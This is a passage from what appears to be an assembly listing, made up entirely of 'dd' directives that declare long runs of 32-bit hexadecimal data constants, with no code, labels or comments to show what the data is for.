6ABEF86Fh, 4F2380F1h, 0EEA71C98h, 0E2AD1725h, 3634003Ch dd 9EAAC453h, 1209C800h, 0BC594675h, 5E50086h, 3DC256D4h dd 28C03EABh, 0D6999FA9h, 0F0C707B5h, 60791236h, 0E98B9735h dd 0DD88C000h, 9E7017C2h, 109F0015h, 682B4765h, 2A1DD287h dd 0BEC0BD42h, 6D257A19h, 1FD90397h, 124CC565h, 0B0483Eh dd 20097F4Fh, 74079538h, 1F91B050h, 400EC8E6h, 1174149Dh dd 7B1DB39Bh, 0C540374Ch, 0E2B55816h, 50553C25h, 3BD8AD00h dd 35B3D6B6h, 29CC510Ch, 73967Ch, 2BE88B16h, 0F6390A36h dd 0BC5DFBF0h, 1DF72CF1h, 9B78CD07h, 9EF72C0h, 19EC16E0h dd 89590075h, 278DC3E8h, 0CDA2F800h, 3DDDA024h, 41D400B8h dd 0F75A0EB3h, 0C91D9F20h, 0C1D5EEA8h, 8D3F1EC0h, 0A2432A04h dd 0CCB778C7h, 20088BA0h, 72240044h, 0A348D5B8h, 0ED00F069h dd 994C770Eh, 1EE99423h, 4E9BAFCBh, 0F1490C75h, 73011300h dd 4B001E4Eh, 0B45911FCh, 365C3E4h, 0E0B85A2Bh, 7D07CF48h dd 29688D61h, 0A530B9C0h, 0C8A06DEh, 235DF652h, 5134A300h dd 3BAE3EC3h, 4A281FBDh, 906440A1h, 931116A5h, 0D732B40Eh dd 0EF450348h, 5A5BB89Fh, 0D50001Bh, 5D2DE0D6h, 0A5A81780h dd 8FA8C9A8h, 0D573BB40h, 4705AE00h, 0F7951AF2h, 648D0062h dd 7538260h, 1B014972h, 8FDDE2B6h, 3DEC583Ah, 20C501A8h dd 0B59515ACh, 60AD851Ch, 0A55C13D0h, 0FB047C1h, 45609273h dd 0FE45006Eh, 0EA6FBEEh, 0A70E9B7Ch, 68C4F0h, 55439785h dd 6C62264Fh, 4C461310h, 2E4FAB1Bh, 0F26FB50Ah, 200BFF0h dd 69064A6Bh, 0E6801F1Eh, 0C04E9F07h, 0DF7C94B4h, 77907511h dd 0FEA15B00h, 7305A7E4h, 0E534508Bh, 0A850DF47h, 85583EB9h dd 0FD6CC07Fh, 706EE743h, 9E710B00h, 0F297F1F6h, 0A80400D3h dd 896C012Bh, 0CC774EAEh, 0D2E99901h, 0E4400547h, 0B1D9B07Fh dd 48E3F4E7h, 571B0C00h, 0C5466C02h, 71B2002Eh, 0A9D493FBh dd 0B50C6F0Bh, 0CE47FC95h, 8A033027h, 2063F60Dh, 810C3FFEh dd 0CC621BA9h, 9EF20399h, 0D43640Bh, 0E1C817D3h, 0DD186D27h dd 0B8B06C44h, 0B12A30FEh, 0CD580F0Fh, 30577700h, 906F08F4h dd 0F05D7B3Dh, 0B0CE0055h, 0AC423FDDh, 0B5E04507h, 0BF6D777h dd 19FC4100h, 0DFE4DD94h, 0F5E60ED5h, 0FD32F815h, 0C7E800F6h dd 5A5F3C81h, 0B6A34836h, 0D0B43981h, 4154804Dh, 916634E3h dd 647368h, 5E8FC01h, 8B1E7277h, 8D028890h, 0FD96B2F4h dd 431F4054h, 3247B1h, 9E23F05Dh, 9263CEh, 13FE0391h, 0F9029479h dd 71FAEF0Eh, 1AF8E33h, 0F0F3C81Ch, 36A580EEh, 175FC14h dd 866D834Ah, 20D4889Dh, 7C1E1F2Fh, 35C06104h, 0D8C2BE46h dd 507DBACEh, 0D56C405Bh, 7A399Dh, 0E4AF1894h, 1680A8C6h dd 4CD40F9h, 74003351h, 7BCFEB09h, 10EFA4Dh, 4C1CCB6Fh dd 86D126A4h, 1438E440h, 0E3041CB8h, 4D76C4E9h, 2374C0E6h dd 99176D2Fh, 0DA4B47DCh, 6506125Fh, 0D7930001h, 0C1940D1Dh dd 7DE8F4A0h, 62CA8704h, 0FFC0CE7Ch, 9043612Ch, 98AD7C2Ah dd 39CC00D5h, 5035575Ch, 6E00FDD4h, 0A03E497Eh, 0FB94C06h dd 7656D2D7h, 0DA80F929h, 0C89DD580h, 2B812A00h, 0F0F5986Dh dd 6609039Ch, 0DA8B2E41h, 0BE4EB803h, 3ECA3h, 0F3F487B4h dd 466B089Dh, 0D9BF0200h, 4529BCD0h, 592C00A0h, 0D75D33B8h dd 16B07228h, 0DED7000h, 8311E4E8h, 876A057Eh, 8899CFF0h dd 0BD885390h, 1285FA3Eh, 42914B67h, 0D54EDA50h, 0BC2BCFA0h dd 0CC76E8C0h, 6A01C398h, 5022C3FFh, 0C2CC25ABh, 1DAF7339h dd 0D3EB8A2Bh, 1F8B015Bh, 898C924Fh, 0A05427C1h, 0A226CB6Dh dd 0B03907DFh, 0A549DCh, 9318F94Ch, 0C877FD0Eh, 90F48092h dd 13486D0Dh, 0E3B104h, 0AF5027DDh, 1E0C9839h, 0C052910Ah dd 9E5D24EFh, 4CDCC16Ch, 29BD80D3h, 0E8799768h, 0D81200F1h dd 3B3D2C4Dh, 4F02BD46h, 8C6119E4h, 956CE9h, 8AD4D20h dd 3F999CACh, 872348C0h, 7ECDCED4h, 361D02A7h, 5B7489BAh dd 5D6F7A40h, 88147696h, 0F29D0045h, 62D8013Eh, 0CFF901ECh dd 0A8E24660h, 966E20C8h, 0D604D290h, 0E79218EEh, 16F770C0h dd 60D4A984h, 8FDA4D5h, 0AC4E20h, 13C48239h, 0DDB2CB21h dd 0A783D40Ch, 340BA10h, 0D8F9F1ADh, 9AE8D2BDh, 5F13388Eh dd 2201C6FDh, 0F5F39E29h, 1556DFCh, 8CCCFA8Dh, 6E971CF9h dd 3DA4E0h, 9A7D10AEh, 0E95688DFh, 3AC3B114h, 0C15406B8h dd 288853Ch, 2FBF48C7h, 19709F32h, 0BC41D004h, 41904528h dd 19D26C8h, 6D927ACFh, 3005EA7Fh, 0DB3B1A4Fh, 83C1808Fh dd 37555A3Eh, 2BD01CA2h, 8E25EEA5h, 0A4AA0D8Dh, 681884EDh dd 0AD4D808Bh, 5800F259h, 0BB0601DBh, 92BFFh, 0A7750B7Ch dd 2BC7630h, 6E8F6303h, 18BA53Eh, 0F04C1B40h, 20FAFF9Dh dd 0A6394B95h, 41D309CAh, 0AAA680B8h, 486D6A05h, 0AC0659A7h dd 0D93301DCh, 0B024C48h, 8024F144h, 6992646Bh, 0FE96027Bh dd 7106EBF9h, 6FAE4F40h, 0AD563B02h, 50C6AA3Fh, 0B73C0070h dd 4A94CD1h, 79773140h, 98513830h, 9177F484h, 0BDFF09B9h dd 0E473AC20h, 543E3BCAh, 0B6261D99h, 6EEA3100h, 3F38592Fh dd 0ACBA6870h, 2D058F81h, 0F4919310h, 970062BDh, 0AB4C21DBh dd 3182AA06h, 7D6C9B03h, 7EEA30EEh, 0A5067573h, 9AC65FEBh dd 0D1EF801Ch, 823C3A76h, 0F5BA9C00h, 0EF392396h, 24C2D9F6h dd 0C0A11FCAh, 3E886C9h, 37B85F2Eh, 213B7C15h, 0CB9F0FC0h dd 0D1DA804Dh, 0CA2EC5Bh, 43C46402h, 0D200B925h, 8769FCBAh dd 1E38662h, 0D6E1EB0Ch, 706509DCh, 2DE6D01Bh, 43064600h dd 0C8ED80E5h, 5E310A84h, 80A42159h, 8AB9C0A8h, 770034DAh dd 157018A1h, 9473DE8Eh, 3D010071h, 0F72BA9E9h, 7EBA32Ch dd 0A14C701h, 0FEDC9B69h, 38C948A7h, 0D4A74193h, 81CBDB74h dd 2FBA21AAh, 0DD30EEBDh, 59D700DCh, 98523165h, 0CC6F17B0h dd 7AF62726h, 0F3878070h, 0C090F421h, 9279EC41h, 0F804EFFAh dd 93F6961Bh, 48FD0082h, 3F9FACB5h, 0A6832CE0h, 0FAA428D1h dd 836FE8F9h, 14E6CD41h, 0C1D187EFh, 57CC8B30h, 63B60084h dd 354A6F0Dh, 7A005AD1h, 0E009EBFEh, 1C1E3E8h, 8F34C59Dh dd 64A174D9h, 7C006D8Eh, 4179E95Ch, 0DCC9ACh, 0BE2EB53Eh dd 25694D2Bh, 658A6D01h, 44D4B967h, 0F4211331h, 40FA6C31h dd 27A3962h, 8951AF30h, 6958D2A7h, 483A377Ch, 70548073h dd 0FFC69B04h, 4A26005Fh, 91C57B22h, 491E36D9h, 1F9302A7h dd 8362C900h, 16CC8F1h, 17717619h, 20872550h, 0BF00D148h dd 984FB69Bh, 17D0BBF4h, 0B494D2h, 0D8BC97C5h, 0DD005B0Dh dd 0F88E0723h, 7BEB89Dh, 6BFED1D6h, 6815908Dh, 9A5C618Ah dd 828C28F1h, 7E95E900h, 0AD4201F3h, 2FB90004h, 3F6D1607h dd 0CE006264h, 882DC09Ah, 29E71C4h, 0AE24F19h, 91C0E3E5h dd 0EB8691Dh, 61C1DA03h, 8063B78Bh, 166A8F6Dh, 14FB8Eh dd 0A1894358h, 3D2EB528h, 6B001CACh, 1E4E6F06h, 160D4AC3h dd 5DB8B4h dd 60656788h, 16688D6Dh, 0D3D08Ch, 5B26A659h, 592633B4h dd 0CB089FF4h, 0B372466h, 8601F801h, 3005476Ch, 0D9A1D393h dd 84D2B942h, 0B4008B1h, 0CEE6CBAEh, 0B2EA922Ch, 0D953B2E2h dd 6C5C51AFh, 5FEAA40Bh, 408927E0h, 547605DFh, 0AB9652A2h dd 5F3E50Bh, 97EB5961h, 418F509Ah, 71738108h, 3E4B0FA3h dd 9645CAAFh, 505F3AFEh, 0DB58088Fh, 0F36F12DDh, 0B2A12B0Ch dd 0C57A03h, 4ADA7CE0h, 6C765B3Bh, 0AF00347Bh, 2F477763h dd 60B40279h, 5B8E0A1Ah, 0FF0F1292h, 2452DCh, 90779B58h dd 21E200B3h, 1EC18069h, 2A07D602h, 518E7154h, 56B35FC0h dd 7F890018h, 40742EA8h, 60004EFBh, 8D668575h, 779FD4h dd 27A05898h, 4B90C3C2h, 0AD093F70h, 7AEC7Eh, 0C7A1DC94h dd 7E83227h, 3561A3E3h, 337A60D1h, 0DBBA661Dh, 0BE455B1Dh dd 870FC0CFh, 0B80C902Dh, 0F0A194Eh, 43058E30h, 3BD3BBFh dd 0B8B7A8Ch, 190009E9h, 61F7BC83h, 3AD99Ch, 0F181A42Bh dd 10B3631Ch, 6E85618h, 0CB7DF2Bh, 7DEBD25h, 904A2978h dd 1C380BBh, 61183A0Ch, 0C32F0EE8h, 0DACF3AF8h, 9B349300h dd 48591C7Ah, 665A9104h, 0EC6C681h, 0BEF1013Eh, 0F52E122h dd 51071784h, 2D7288Ch, 8F5F472Eh, 6C49F803h, 566B40E8h dd 0E4006CD9h, 6162BECEh, 0C5A5CB9h, 2D850F48h, 80EFE825h dd 570D500Bh, 0CF3866h, 3186FD1Ah, 89CE0EB3h, 5AFC1506h dd 2D40E9h, 61FA69F8h, 0D7574409h, 0EB9DE3Ah, 60CDD372h dd 0E9BF63E1h, 0F2FC313h, 30805E6Ah, 0D3000D94h, 10296676h dd 1B944CBh, 28F4F0CDh, 80FF3EE9h, 0EDAE7E02h, 0D2D7ABh dd 71A765CEh, 0C809DD4Ah, 7039F01Dh, 0E11426C0h, 1E9B55A1h dd 1E9F0E9Eh, 984207E3h, 8375C7E6h, 81EC34Ah, 9400CFE1h dd 9942911Bh, 0C721CEE9h, 157D3B83h, 6361110Ah, 0A914E066h dd 0DE45061Ch, 311854Ah, 0EC287321h, 81037D26h, 4AA3245Fh dd 0F5111C46h, 0F8AC4416h, 0E275071Ch, 1ADCEBB1h, 3F2EF109h dd 7BA0FF00h, 3AA56AC4h, 953AC599h, 5CE1E301h, 80F675C8h dd 6B20F520h, 0C00C2DF8h, 7AC9C110h, 19025EE7h, 2C387922h dd 0E260D760h, 21034416h, 99C0ABE0h, 1E769184h, 0F0FC71F0h dd 10BF6042h, 30118348h, 6FD0B01h, 75E6A0DDh, 0F893BDE0h dd 0F4AA3FCBh, 0A1A5287Ch, 0C8033E14h, 1438E000h, 66F46168h dd 3FA99316h, 0AC1E8F03h, 0F678040Bh, 16B11A91h, 0D07C7B0Ah dd 1B44BE04h, 0F00D2907h, 9854FEF0h, 0C79AC20h, 0F4E9F82Ah dd 7E0081E0h, 0E319E532h, 633865Ch, 71F020B9h, 140220F2h dd 0CB05B4D5h, 82209C99h, 81201282h, 0A049C900h, 1081E450h dd 2ABD015Bh, 22E53821h, 0BF089839h, 1C08E621h, 87E47A5Bh dd 702B79D5h, 645E963Dh, 0CB50C8D9h, 5B080E18h, 0C4112AB7h dd 6E040B6h, 1434C35Bh, 482183A8h, 3F8CBAB8h, 34809D8Eh dd 99BB522Eh, 0B4A08C1Ah, 409149A0h, 0F59F0Eh, 0AF042F74h dd 9C75006Bh, 0E73E0973h, 1AC76407h, 0F141C1B3h, 40B88E4Eh dd 3E50160Ah, 375400E0h, 34BEDDC9h, 0F4AC7709h, 0FE5C211Bh dd 0D5205068h, 18210A05h, 5C6403A6h, 0C000B946h, 1CC7740Ch dd 0B31CE0E3h, 8944FE8Ah, 5891BC46h, 28240C16h, 0EFB600F5h dd 6E3D8F21h, 2C601A26h, 9681FC18h, 7131C0A0h, 1F706AFEh dd 0F6DC9800h, 89205D5h, 19153FAAh, 46D21A87h, 0F1FCD18Bh dd 0F9A462h, 0B3145F03h, 0A041C549h, 0C3203795h, 0A50C3268h dd 4A08D8F4h, 0CE3B21C4h, 34544780h, 16C9002Ah, 5BD3288Fh dd 89540197h, 0CA398090h, 8CC44043h, 0B812EFB0h, 1439392Ah dd 395B05C4h, 9580DA6Ch, 0E2EBFC2Fh, 7A614AE0h, 0F935B781h dd 697403F8h, 28026092h, 0D490DDF2h, 6000BA34h, 85AD9D0Ch dd 0CCA59579h, 0D5210D08h, 460B205h, 0DEC3E2A4h, 581EA0EAh dd 0FFACA038h, 0A0C61E44h, 0D4C980E7h, 0F17B8807h, 486ED5E9h dd 476049E4h, 4ADBEA91h, 0A9481CFEh, 32AD80D8h, 0ED7FBEB4h dd 0D0D92000h, 64ACBB9Eh, 0D57496h, 0F9B7F8E4h, 2A0518F4h dd 2E3E01Dh, 0FE48B728h, 19FC84E0h, 9FF2CB00h, 0FF01F186h dd 99BD696Bh, 0F4F0A6AFh, 6235046Ah, 0C1A044B2h, 0FFF3B8h dd 30142ADh, 0F0B9D418h, 0F793CDB1h, 34E581D1h, 1F04C3F4h dd 2ABAE712h, 406A0C5h, 417C06h, 0B6F80114h, 99FD6A33h dd 0E5621919h, 2180F308h, 98B6F0A0h, 2090049Eh, 82366826h dd 5D01A020h, 9FA4DE69h, 3180CF7Eh, 2FE44066h, 55008863h dd 5FFAFBB2h, 0AB37ECh, 335ECA57h, 851595DBh, 0E402287Eh dd 0B6A9FE8Fh, 0A05449BAh, 32C08807h, 46FCFE20h, 54B22E0h dd 5420C938h, 26DC802Eh, 0A0C20F60h, 698A91FEh, 0ACF06AD0h dd 6018D924h, 1578D9ECh, 0D5EF4044h, 0B738B810h, 18DD8F06h dd 8C0D9E1h, 0F15B83B5h, 0A81C1FEh, 0E0FF53AEh, 9D249714h dd 78295ABDh, 0CCA92F00h, 0E3341E6Ah, 1EF15464h, 817805C9h dd 8B6D5661h, 52F3E8B2h, 9BF91307h, 583BCCEh, 424AE1CAh dd 0FF167980h, 0E31E82E4h, 5E94DD00h, 9F99F89Ch, 0FC840553h dd 84EC2542h, 92680090h, 0CC0FAB4Dh, 9F0703Ch, 0FA5883h dd 40266920h, 0DD90C602h, 0AA00E104h, 473C3043h, 0F6D485h dd 19F24695h, 7D588CD2h, 0DE76250Bh, 0FA08027Ch, 0A21CE335h dd 0D02A0074h, 6890F02Dh, 4362CC00h, 84AB313Fh, 9BC403C5h dd 0E5508AEDh, 4C65F4D0h, 20B26C13h, 0C9684827h, 0FCFA3801h dd 4DF458C0h, 0C53488h, 0DA233720h, 0ADCB454h, 0FE28C1C0h dd 0E2C1353Ah, 4C42384Dh, 0D123048Fh, 94A69D20h, 0FC7AC96Bh dd 0DDA57E1Ch, 0EAF83930h, 60665C22h, 0A2DF1F00h, 7D886F60h dd 0F1036891h, 0B0B2EB6Bh, 3EE9A80Ch, 38FFC92Fh, 4501C02Ch dd 36913DEAh, 1E687062h, 793EF102h, 48A76007h, 90ED121Ch dd 0B0DC982Ch, 0C594834Eh, 8EF1E493h, 447C9011h, 5E001340h dd 1B2403C4h, 7D7A47h, 0C043BF6Eh, 0EC481DFCh, 1FC26506h dd 7B79106Fh, 641A1611h, 45DC082Bh, 0EBD02E00h, 27BA685h dd 0A57A62FEh, 74C1B118h, 8FC4101Ch, 71300FBh, 9D0DFF12h dd 0CCA185FDh, 383018B4h, 0D0ACFC20h, 0CF3A7014h, 0E5C82000h dd 0C0286173h, 0D889E1EDh, 0A8013057h, 2440E06Fh, 8CAB9E1Ch dd 6043FEE1h, 20FBE4D7h, 0F0990D48h, 0E51872D1h, 6C347600h dd 8A2E9BD6h, 0DBD33F0h, 0A29B7D80h, 105C7048h, 0FE023934h dd 0BA1C64Ch, 0C304846Ch, 0D56A36B6h, 0A320FA62h, 0ECB6FBh dd 78D58D5Eh, 15C1AC2Eh, 0A75089C5h, 0CCC55082h, 5B0C0480h dd 38012AB9h, 5B0409E2h, 80827D98h, 0C1009286h, 3E399F1Ch dd 0B70BE718h, 80B8F9C2h, 0E131C82Ah, 0E47CE0F8h, 0EF84A180h dd 28C2542Bh, 0C1C4AE03h, 97A512F7h, 0EF589099h, 7363010Ah dd 4AE1835Ch, 50E05044h, 580027F5h, 0BC72BFB8h, 4AAF0A4h dd 421DF987h, 530C8469h, 0A18C08BCh, 5CE78BBFh, 4260985Bh dd 21EB6386h, 2907AA4Ah, 5BCFC815h, 855F03E0h, 69D894DCh dd 3AA42683h, 60504048h, 0B18BBDC0h, 0A17E6049h, 183753F5h dd 80DD021Ch, 6E7C4282h, 4910804Ah, 0F85FF4BDh, 0F690029Eh dd 0C3B26D09h, 281B61F7h, 210D7096h, 212724B8h, 0A2586390h dd 0CC3731BDh, 3C00D269h, 0D06A207Bh, 627DE888h, 0E2AC60E6h dd 16E080A3h, 0D97D22EBh, 9C626703h, 2880C2F2h, 20FC61F9h dd 607A86FAh, 30046C30h, 96EAE975h, 18BAE404h, 0B207ED38h dd 669D04F0h, 91149632h dd 906CF8h, 4BF80F57h, 0B848770Dh, 8DE22021h, 763D308Eh dd 0A0604E20h, 1EF24FE4h, 349B42FBh, 0DCE004E9h, 54FE011Ah dd 98510F49h, 0D5E422F0h, 1CEAF6D4h, 830AFDC6h, 0FB5CEDCBh dd 0F926D3C0h, 5DE0E11Dh, 3CC8C007h, 25801EBFh, 38D5CCEAh dd 1FCA74ECh, 85C9DB75h, 12ACE356h, 4E501FF0h, 807CC023h dd 0C6D0E658h, 0AF75F90Bh, 0CBE75C0Ah, 0A55038A1h, 0F1EEF0D7h dd 181895D2h, 0C2E808AAh, 0B0C156F0h, 0D5FD2DE6h, 2140630h dd 0FB22D7B1h, 2840F3AAh, 560FCCAFh, 0EF5B6C7h, 29CA20D9h dd 0A0A1ABDDh, 78C90268h, 0E40935B5h, 4645139h, 0A6727DF0h dd 680210D6h, 70E6A3E9h, 8912E80h, 2EB1012Ch, 418872F8h dd 34C9C4E4h, 5C0C6180h, 188754C8h, 37FA78E2h, 8F29A8E8h dd 81880032h, 191EEA66h, 0B2F1E30Ah, 5C132CA9h, 231BA008h dd 88F11A0Ch, 74600C39h, 3490B67Ch, 0A059156Ch, 6E1884A4h dd 5414F26h, 66A092FCh, 19B54094h, 6E185F15h, 0E2050A78h dd 0D01058E5h, 77F8C8EFh, 0F23B2BE4h, 4691D9Bh, 4220D6A4h dd 8099E898h, 5283E04h, 0AC5BF600h, 7FE8762Ah, 750C1E50h dd 0A8650712h, 0D0C9E45Eh, 9BECA0E9h, 74FCF120h, 0F9F8981Bh dd 2558EC08h, 0F1FE8170h, 1465B2D6h, 759D09C4h, 91F628E0h dd 0ACE1090Ch, 14A203F9h, 58807E83h, 6ACCB620h, 0A264A053h dd 0C13F20BCh, 955599FCh, 0E5BC028Ch, 0BFB80412h, 88E85D22h dd 753057F5h, 79CF1961h, 50F8A681h, 4CC7E0F1h, 88215CA1h dd 0A4114824h, 76E24063h, 2DF0C10Ah, 41648CF1h, 54A8E451h dd 2AC05B09h, 217C93F8h, 90321198h, 2CC911F7h, 0B2210E70h dd 0C7197889h, 88C053A5h, 0A4E0B135h, 59C28174h, 93165CC4h dd 0A2401694h, 42F42DA0h, 8028AD0Ch, 99A31D51h, 958E0B0Ch dd 0B6C2D801h, 0A80462F4h, 882E53E5h, 5FE0C431h, 0C9F44214h dd 45955710h, 0D5408911h, 9E6021E0h, 2823459Ah, 8085ED22h dd 30999D1Ah, 0A0810E0Ch, 4C60C28Ch, 21FE0C55h, 0E8D3523Dh dd 14E1A828h, 0D1908028h, 21850C99h, 4F64E501h, 3D80F29Ch dd 0B1366444h, 0F2A07549h, 0E8241677h, 0EC111461h, 0ACD82429h dd 0C1DC4374h, 0C8506157h, 3285463h, 744E421h, 1565225Fh dd 4A0C81DFh, 0A6BA797Fh, 0ADE4BAD8h, 4C289558h, 23AA2C49h dd 35115F26h, 0A0304BBFh, 127AC98Fh, 70E45D3h, 0C8A2D678h dd 2870DC88h, 232144DCh, 276C2619h, 46F40718h, 846331A1h dd 0F2152870h, 0DABD4A22h, 8CA8A434h, 0A681E3Ch, 0E8C8639Ch dd 15823CA3h, 3C8C2DB1h, 3C38D8AAh, 0E623B389h, 0BFAEC261h dd 1C884904h, 9E243C08h, 9261CC80h, 15AA7DDBh, 0EA03ACF4h dd 0BA22BB5Eh, 4CB0A468h, 0D5D0A8E3h, 2B7E0780h, 426E9057h dd 347A4938h, 5DF06301h, 0DAEE1102h, 73D6FECh, 183AF69Dh dd 0FE90805Fh, 27002C99h, 6E955C32h, 0FAB9C5h, 3C0F65F4h dd 0CBB10933h, 0B845FE00h, 0A9F2DC22h, 7491D7Dh, 0ACB97164h dd 40462BF5h, 28B7CEh, 25C80B7Ch, 8FF04995h, 2AF45D03h dd 0C8627741h, 0D5A47Dh, 52835BC5h, 0C31ADE20h, 0DF223Ch dd 923EE89Ah, 3EB1096h, 19586205h, 42885CB4h, 0B2EA8999h dd 0DE9A5703h, 881AFA13h, 712D4Dh, 0EEE5E7F2h, 40E9EBCFh dd 2F73CA1Ch, 0DFE3D200h, 0E54DA12Eh, 282DDA00h, 4B3DB300h dd 0E45829E5h, 189660D5h, 0FF6635F7h, 10FDD730h, 50AC0471h dd 73D9A25h, 3E317889h, 0D1B66005h, 0E7186A1Ah, 0A7592F5Bh dd 15EAC7h, 7C044221h, 2716B54Bh, 0F1CBAE1Eh, 729135C0h dd 0EF0B4ACh, 93DC638h, 0D5AD04C0h, 7B010328h, 2ACA17E5h dd 6C40196Ah, 7ABA6D0Eh, 0C6B0018h, 2F2A2CB7h, 630C9727h dd 29D57C61h, 11EE005Bh, 0FE93F9E1h, 3C3AD71Ch, 0E7C9E1F8h dd 0A98024D2h, 92C8A0AEh, 0A1FA284Bh, 0F715261Fh, 0DCFC3D06h dd 0C01A7F31h, 5FB45059h, 7200D5EBh, 20E5E047h, 0E419E6h dd 5BEF7085h, 67BE54DDh, 3028243Eh, 0F472397Ah, 6B2F0097h dd 0E5F95F8Ah, 9130D712h, 0B75620DDh, 8C5D0064h, 0F5DB5246h dd 2E001285h, 40F6B8FFh, 0B358BEh, 0EDA791F2h, 9BE03CCCh dd 0E838DD00h, 0E164F15Dh, 79DB7898h, 20DE03E7h, 24DC917Fh dd 2BA0EEF3h, 14A5D1EAh, 0BE281D1Eh, 39DF30C0h, 10AF9AE4h dd 0E81B24h, 2CC39BF0h, 0DDD2E0h, 3B3B13Ah, 0CE9DE338h dd 0D8EF90C1h, 18BAAE28h, 7CAAD50h, 0CE9EE53Eh, 9D804D36h dd 2507EA28h, 81CED7ECh, 28CD9F1Eh, 24C67886h, 0EB18311Ch dd 0CC59DF98h, 0C4CE722h, 0F142307Eh, 3AD9EE20h, 0C1D6E002h dd 809FE42Bh, 0C394EB88h, 297F6027h, 9C34CD7Eh, 0BB482A1Eh dd 0CC1A4712h, 52998049h, 609F8E7Ch, 0C83C3141h, 400F6408h dd 0A0397A48h, 0C18A5E09h, 0E21D004Fh, 94C7F45Fh, 0AE00E42Ch dd 3C377C98h, 7C4EB9FCh, 42111CBBh, 337700E0h, 0CF447BB2h dd 7A71AF60h, 1011A3E1h, 761AA2h, 0F282C194h, 60A6FA84h dd 7289288Fh, 0B1087F54h, 943863Eh, 25D7BEh, 4E1804FEh dd 0B2C2038Eh, 0BB682171h, 8180BE14h, 942F14BFh, 59701898h dd 11F19A3Dh, 288F4D61h, 40154C69h, 3EB2DF06h, 110329AFh dd 1AA3B3B4h, 6959187Ah, 0B66AB10Eh, 0C05879C5h, 802D2C08h dd 0E83AD8C5h, 592A487Ch, 9807B47Ah, 9A8EA735h, 8D11D0CAh dd 0B662A688h, 30033063h, 0E30B8C39h, 675B930h, 0D50743B9h dd 0E3B68E5h, 0BCDF05D2h, 0A40C7E9Fh, 14DC9980h, 0DCA1A0FCh dd 0DF0A845h, 61EA7F24h, 3E6630DEh, 4D1895F0h, 3218144Ch dd 0A2420F58h, 3F917815h, 438424C8h, 0C0393718h, 272A02CEh dd 966A31C7h, 0A7E2181Dh, 580AC34Ch, 30E8F114h, 3C0991B6h dd 284E4872h, 0D8F13961h, 489BC9C4h, 0AF916A4h, 7436ACC9h dd 56813F40h, 0DF215C43h, 75B86210h, 462208E9h, 15064B1h dd 0C4151A22h, 91F22134h, 0A5A2C40Fh, 46847228h, 426AA2EAh dd 38281914h, 458D8208h, 6E78711Ah, 353A128Dh, 51B0EE08h dd 8D920803h, 14402642h, 0A504650h, 533A428Dh, 9940BE30h dd 4433135Ch, 5DB8CE6Ch, 0A24460E6h, 4E1D842h, 36046044h dd 0F2A768B7h, 84418CC9h, 8813BCCFh, 0E3F10903h, 75AC8B4Dh dd 0F8558890h, 33BC5F09h, 0B9A024B3h, 4EDEB640h, 0A49AEEC8h dd 0CF10A562h, 3E4C98D0h, 9098999Eh, 4C492293h, 1B8AB039h dd 980E248h, 1082B861h, 48F47060h, 0BE84E88Ch, 0DDC8D4Bh dd 904180A8h, 583BC2D8h, 68A0A887h, 84EC5880h, 0D2168C4Ch dd 0CE36032Ch, 2EBFDF3Ah, 80D11E87h, 0DDCBED67h, 0F7456300h dd 931A2091h, 0F12A00DFh, 0E725D1E8h, 7107CDECh, 28D99BEBh dd 3DD8E9E1h, 0D11128B0h, 0EDF825C2h, 58FCDC58h, 0F02A0035h dd 0E171DDE8h, 470F1C4h, 39CD0ED2h, 21A79D1Ah, 2BDA80F1h dd 358D01Eh, 0AF04D1ECh, 84124DACh, 0B400DD9Dh, 0F72F049Eh dd 9E18A5EFh, 0FB11721Bh, 8F92B0E0h, 9BBF9F07h, 6F30303Ch dd 5C18EAF1h, 0C505187Eh, 0C0699AC8h, 0E9C1F270h, 1FB84F4Dh dd 0DF535437h, 7485E01Fh, 8816123h, 0F50088FDh, 3F4A6BF3h dd 41607867h, 1F19C425h, 98F636h, 0FCDF9D1Eh, 0CCB80384h dd 0ADDA8D02h, 533531E7h, 8C3062B4h, 7F034080h, 0D9CB71EAh dd 0B39583D7h, 0E8E6C2D8h, 5B93EF4h, 6BC2C1F3h, 807C5CFAh dd 0D2A76C9Bh, 9C8DF22Ah, 717C0CC4h, 2162410h, 70180537h dd 28396B68h, 0E2B05A0Fh, 0FC68C6BEh, 0D867F873h, 2751C581h dd 40BE7CECh, 772E4070h dd 0FC502363h, 3690309Dh, 0EF417E31h, 883B8CA5h, 0F332998Bh dd 43A8100h, 427F6CE1h, 9159h, 0A373C049h, 1B30471Eh, 0D836198Fh dd 1DA17668h, 8BF07549h, 8C117F01h, 4109914Eh, 0E228DA24h dd 6445F282h, 9831271h, 47F3D3B0h, 59E8DE0h, 968AAC00h dd 45D07082h, 0DF9400E7h, 0C39DEF71h, 0EC3CF13Ch, 78E02CC4h dd 50803BC5h, 0B0E52AC0h, 1DDFF854h, 48638Fh, 1A35C2D0h dd 8279A591h, 760AE53h, 9872AAE7h, 0C728CCF0h, 1F04A6A4h dd 14366A68h, 8D00CABh, 38D9BD07h, 0B394C8E7h, 7DF6C530h dd 0C820825h, 7188B095h, 9DF6F998h, 10CF10A0h, 3229F002h dd 8C09410h, 4CA00EC8h, 30F0662Bh, 52099646h, 8CC8145Ah dd 3C21F899h, 83332D2h, 0B10FA1E2h, 130A0210h, 9C6EF2B2h dd 1A027AC2h, 0D28F0C90h, 50808CACh, 44354FF6h, 54D318BBh dd 9809229Bh, 899A9544h, 249C129Fh, 919E4899h, 44802263h dd 8789829Dh, 81248412h, 8B918648h, 857C8822h, 41694A00h dd 4F6EF291h, 0C98F6717h, 4DB85CB3h, 9C9484A5h, 6DC5BA04h dd 7A080F7Fh, 0AA1E9680h, 250391BBh, 7F41F04Ch, 0E06E349h dd 0DC7C27E0h, 8396BC84h, 0F5A0C9DFh, 0FDF0704Ch, 0C5F838E8h dd 9130BAF0h, 0A60A40EDh, 26F1204Ah, 817C2A38h, 4196D642h dd 48291B83h, 40FFDAFh, 0BD25ABFEh, 0BA018866h, 0BF844B62h dd 0C717496Ch, 0DC5949FEh, 0DD98065Ch, 51A38F2Bh, 28CB431Fh dd 5E095D59h, 0D0BE7016h, 357255DFh, 8075F504h, 0C07059CDh dd 2803B74Bh, 1A1C417Ch, 7621147Fh, 0AE380Eh, 5E3AD11Eh dd 3EFAD831h, 0ED19A5C1h, 0DC62184Fh, 4302170Fh, 0C585CDB3h dd 361C8748h, 0BAF4D7C0h, 93BF14DCh, 0B78528BEh, 0E460EA6Ah dd 79BB5593h, 1B28C38Dh, 303E8198h, 8C1D7BB0h, 5D8F5E62h dd 0F7830003h, 0EF44F2h, 8048C3E8h, 1E2791F0h, 2BDCEA03h dd 0A04FB3BEh, 0CDEC1Ah, 0DFE8903Ah, 